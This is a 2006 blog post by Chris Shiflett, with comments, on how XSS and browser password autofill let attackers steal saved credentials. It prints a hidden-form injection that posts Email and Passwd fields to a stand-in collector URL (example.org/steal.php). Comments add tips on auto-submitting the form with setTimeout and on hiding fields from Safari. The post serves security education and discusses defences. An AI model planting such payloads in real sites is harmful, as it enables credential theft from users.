About the Author

Chris Shiflett

Hi, I’m Chris: web craftsman, community leader, husband, father, and partner at Fictive Kin.

Stealing Saved Passwords

One of the greatest things about web application security is that once you understand the technologies involved, all you need is a bit of creativity to come up with your own exploits. The unfortunate thing about this is that multiple people independently discover the same exploits and give them different names. For CSRF (cross-site request forgeries, originally named by Peter Watkins), I've already seen session riding, cross site reference forgery, XSRF, and one-click attacks. (The next version of the Web Security Threat Classification is going to include CSRF, so maybe that will help the situation and provide some consistency.)

Now we have RCSR (reverse cross-site request) being used to describe a technique that uses XSS and CSRF to steal saved passwords. The technique being discussed is not new, and it's more proof that XSS matters. The idea is pretty simple - because browsers that save passwords will conveniently repopulate forms, XSS vulnerabilities can lead to information disclosure. For example, if you need to log in to Google's web site, you'll see something like this:

If your browser populates this form with your saved credentials, can you guess how it decides to do so? If the form elements are named Email and Passwd, imagine an exploit that injects a fake form into one of Google's web pages:

<iframe style="width: 0px; height: 0px; visibility: hidden" name="hidden"></iframe> 
<form name="steal" action="http://example.org/steal.php" target="hidden">
<input type="text" name="Email" style="display: none" />
<input type="password" name="Passwd" style="display: none" />
<input type="image" src="image.png" />

Using display: none, both Email and Passwd are hidden from view, so a user who clicks the image will unknowingly send the saved credentials to http://example.org/steal.php. The response is rendered in a hidden IFrame, so this action can easily go unnoticed.

Note: This example improves upon the above-mentioned proof of concept demo by concealing the response. Using JavaScript to automatically submit the form didn't work in my tests, but it's an idea worthy of more research. (A true CSRF attack should not require user interaction.)

Some further testing leads me to believe that Safari tries to avoid populating Email and Passwd when they are hidden. (Any CSS gurus want to try to get around this?) Opera apparently avoids this situation altogether. A Digg user describes Opera's behavior as follows:

I think Opera did it right, instead of prefilling form, and waiting for user to click submit, you have a special button called "wand" on the login page you just click that button, and opera fills all of the details and automatically clicks submit.

Perhaps Opera's approach is best. XSS vulnerabilities continue to be one of the most prevalent vulnerabilities in web applications, so this is a legitimate risk.

About this post

Stealing Saved Passwords was posted on Thu, 23 Nov 2006. If you liked it, follow me on Twitter or share:


1.Christopher Kunz said:

"Using JavaScript to automatically submit the form didn't work in my tests, but it's an idea worthy of more research."

Of course it works. It doesn't work with a naive form.submit() call, naturally. The DOM tree has to be complete before the form autocompletion is invoked by the browser. So if you load an autocomplete form, you can only submit() after you are sure the tree is complete, usually by delaying the submit() with a setTimeout() call.

I have working autocomplete exploits that automatically log in a user and perform administrative actions in the back-end, exploiting an XSS issue similar to that on connection.oreilly.com (which was supposed to be "audited" by the time the XSS was found). I have showed that PoC about a year ago on the PHP conference, and again on all of my security workshops.

Thu, 23 Nov 2006 at 22:19:26 GMT Link

2.timvw said:

A while ago i noticed: http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html

I believe that we'll see more examples of how JavaScript can be used to access more than the retrieved html...

Fri, 24 Nov 2006 at 07:21:03 GMT Link

3.Joseph Crawford said:


This really does bring you to think wow is this really possible. It's amazing that things like this can still be acheived with the progress web development has made.

I will have to read more into this to see how to secure it and if there is in fact a way.

Fri, 24 Nov 2006 at 14:54:58 GMT Link

4.Nate Klaiber said:

With CSS, instead of using display:none, you could always position the fields absolutely and not give them any height. That's my theory anyway, I can think of some other ways right now but I will test them and get back with you.

This one is interesting, I hadn't thought about this until you mentioned it. However, this seems more like a browser issue than it does a website/web developer issue. What do you suggest to avoid these attacks?

Sat, 25 Nov 2006 at 15:24:12 GMT Link

5.Chris Shiflett said:

I'm not sure I would blame the browser, but there are certainly some things they could do to help.

For avoiding these attacks as a developer, you just need to avoid XSS vulnerabilities. I don't mean to make this sound trivial, but anything less seems like it would be a lesser solution - defense in depth at best.

For avoiding them as a user, it's much more difficult. You could, of course, refuse to use this feature at all. Otherwise, it's a matter of deciding whether you trust a particular site's reputation, but even the smartest people make mistakes.

Sun, 26 Nov 2006 at 02:01:38 GMT Link

6.Nate Klaiber said:

I would agree to protect against XSS is the best option, but for most of the sites that have saved passwords - they are saved in the browser. If it was a website doing it, I could see placing blame on them - but I see this as more of a browser issue. You mentioned that Opera supports this better with a magic wand, maybe the other browsers would fare better doing the same thing.

At the core - it is left for the user with something like this (and developer protecting against XSS). However, many people fall prey to these attacks every day.

Sun, 26 Nov 2006 at 18:22:43 GMT Link

7.Chris Shiflett said:

Yeah, the wand idea seems nice.

Personally, I wish browsers would ask whether I want to save my password once I've seen the next page. I'm always thinking to myself, "Sure, I want to save this password if it's the right one." I have plenty of saved passwords that are all wrong. :-)

Sun, 26 Nov 2006 at 22:33:04 GMT Link

8.Hossein said:

Dear chris

It is from your book:

Of course, both steps should always be taken. Filtering input depends entirely on the type of data being filtered (some examples are provided in Chapter 1), but escaping output in the case of data being sent to a database generally requires only a single function. For MySQL users, this function is mysql_real_escape_string( ):


$clean = array();

$mysql = array();

$clean['last_name'] = "O'Reilly";

$mysql['last_name'] = mysql_real_escape_string($clean['last_name']);

$sql = "INSERT

INTO user (last_name)

VALUES ('{$mysql['last_name']}')";


Dear chris,

Do you use mysql_real_escape_string( ): in order to escapte output?!!!!!!!!!!!!!!!!

May explain more?

Excuse me if it isn't god place to ask this question,

My email is ostadphp at gmail com.May you send the answer to my email?


Thu, 07 Dec 2006 at 19:19:31 GMT Link

9.Hossein said:

Dear chris,

I sent emails to you ,But you didn't answer,Then I post here..

Thu, 07 Dec 2006 at 19:20:34 GMT Link

10.Chris Shiflett said:

Hi Hossein,

I never received your email, but yes, in that example, mysql_real_escape_string() is being used to escape output.

Hope that helps.

Thu, 07 Dec 2006 at 20:07:46 GMT Link

11.Hossein said:

Hi chris

In these statements:

"but escaping output in the case of data being sent to a database generally requires only a single function. For MySQL users, this function is mysql_real_escape_string( ):


$clean = array();

$mysql = array();

$clean['last_name'] = "O'Reilly";

$mysql['last_name'] = mysql_real_escape_string($clean['last_name']);

$sql = "INSERT

INTO user (last_name)

VALUES ('{$mysql['last_name']}')";



You suggest to "escaping output ",But that example is about inserting data,May explain about this?

Another question,May you give me another example in order to use that function to filter output data?

Fri, 08 Dec 2006 at 13:03:42 GMT Link

12.Chris Shiflett said:

Hi Hossein,

Escaping output is a generic way to describe the fact that you need to escape any data that leaves your application. An SQL query sent to a database is output, because it is leaving your application.

It doesn't matter what the purpose of the SQL query is. Even a SELECT query is output.

Regarding your question about filtering, I think it's best to perform your filtering as soon as you receive data from a third party.

I have a bit more information about these practices here:


Hope that helps.

Fri, 08 Dec 2006 at 16:19:00 GMT Link

Hello! What’s your name?

Want to comment? Please connect with Twitter to join the discussion.